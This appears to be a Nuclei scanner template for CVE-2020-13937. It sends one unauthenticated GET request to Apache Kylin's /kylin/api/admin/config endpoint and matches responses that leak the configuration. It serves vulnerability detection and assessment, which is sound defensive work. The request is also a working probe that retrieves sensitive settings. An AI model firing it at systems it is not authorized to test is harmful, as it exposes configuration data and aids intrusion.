id: CVE-2020-13937 info: name: Apache Kylin - Exposed Configuration File author: pikpikcu severity: medium description: Apache Kylin 2.0.0, 2.1.0, 2.2.0, 2.3.0, 2.3.1, 2.3.2, 2.4.0, 2.4.1, 2.5.0, 2.5.1, 2.5.2, 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 3.0.0-alpha, 3.0.0-alpha2, 3.0.0-beta, 3.0.0, 3.0.1, 3.0.2, 3.1.0, 4.0.0-alpha have one REST API which exposed Kylin's configuration information without authentication. reference: - https://kylin.apache.org/docs/release_notes.html - https://s.tencent.com/research/bsafe/1156.html - https://lists.apache.org/thread.html/rc592e0dcee5a2615f1d9522af30ef1822c1f863d5e05e7da9d1e57f4%40%3Cuser.kylin.apache.org%3E classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N cvss-score: 5.3 cve-id: CVE-2020-13937 cwe-id: CWE-922 epss-score: 0.97402 cpe: cpe:2.3:a:apache:kylin:2.0.0:*:*:*:*:*:*:* metadata: max-request: 1 vendor: apache product: kylin tags: cve,cve2020,apache http: - method: GET path: - "{{BaseURL}}/kylin/api/admin/config" headers: Content-Type: "application/json" matchers-condition: and matchers: - type: word part: header words: - "application/json" - type: word part: body words: - config - kylin.metadata.url condition: and - type: status status: - 200